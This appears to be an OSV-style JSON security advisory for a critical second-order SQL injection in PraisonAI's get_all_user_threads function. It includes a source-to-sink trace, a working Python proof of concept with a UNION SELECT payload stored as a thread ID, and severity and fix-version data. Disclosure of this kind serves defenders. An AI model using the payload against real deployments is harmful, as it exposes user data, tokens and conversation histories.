{"id":"CVE-2026-34934","aliases":["GHSA-9cq8-3v94-434g","PYSEC-2026-470"],"url":"https://o3.security/vulnerability/CVE-2026-34934","summary":"PraisonAI: Second-Order SQL Injection in `get_all_user_threads`","details":"## Summary\n\nThe `get_all_user_threads` function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via `update_thread`. When the application loads the thread list, the injected payload executes and grants full database access.\n\n---\n\n## Details\n\n**File Path:**  \n`src/praisonai/praisonai/ui/sql_alchemy.py`\n\n**Flow:**\n- **Source (Line 539):**\n```python\nawait data_layer.update_thread(thread_id=payload, user_id=user)\n```\n\n- **Hop (Line 547):**\n```python\nthread_ids = \"('\" + \"','\".join([t[\"thread_id\"] for t in user_threads]) + \"')\"\n```\n\n- **Sink (Line 576):**\n```sql\nWHERE s.\"threadId\" IN {thread_ids}\n```\n\n---\n\n## Proof of Concept (PoC)\n\n```python\n\nimport asyncio\nfrom praisonai.ui.sql_alchemy import SQLAlchemyDataLayer\n\nasync def run_poc():\n    data_layer = SQLAlchemyDataLayer(conninfo=\"sqlite+aiosqlite:///app.db\")\n\n    # Insert a valid thread\n    await data_layer.update_thread(\n        thread_id=\"valid_thread\", \n        user_id=\"attacker\"\n    )\n\n    # Inject malicious payload\n    payload = \"x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--\"\n\n    await data_layer.update_thread(\n        thread_id=payload, \n        user_id=\"attacker\"\n    )\n\n    # Trigger vulnerable function\n    result = await data_layer.get_all_user_threads(user_id=\"attacker\")\n\n    for thread in result:\n        if getattr(thread, 'id', '') == 'valid_thread':\n            for step in getattr(thread, 'steps', []):\n                print(getattr(step, 'id', ''))\n\nasyncio.run(run_poc())\n\n# Expected Output:\n# sqlite_master table names printed to console\n```\n\n---\n\n## Impact\n\nAn attacker can achieve full database compromise, including:\n\n- Exfiltration of sensitive data (user emails, session tokens, API keys)\n- Access to all conversation histories\n- Ability to modify or delete database contents","published":"2026-04-03T22:49:12.947Z","modified":"2026-08-12T03:51:25.268882201Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":{"score":0.00534,"percentile":0.43743,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"praisonai","fixedVersion":"4.5.90"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34934.json"},{"type":"ADVISORY","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9cq8-3v94-434g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34934"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:25.268882201Z"}}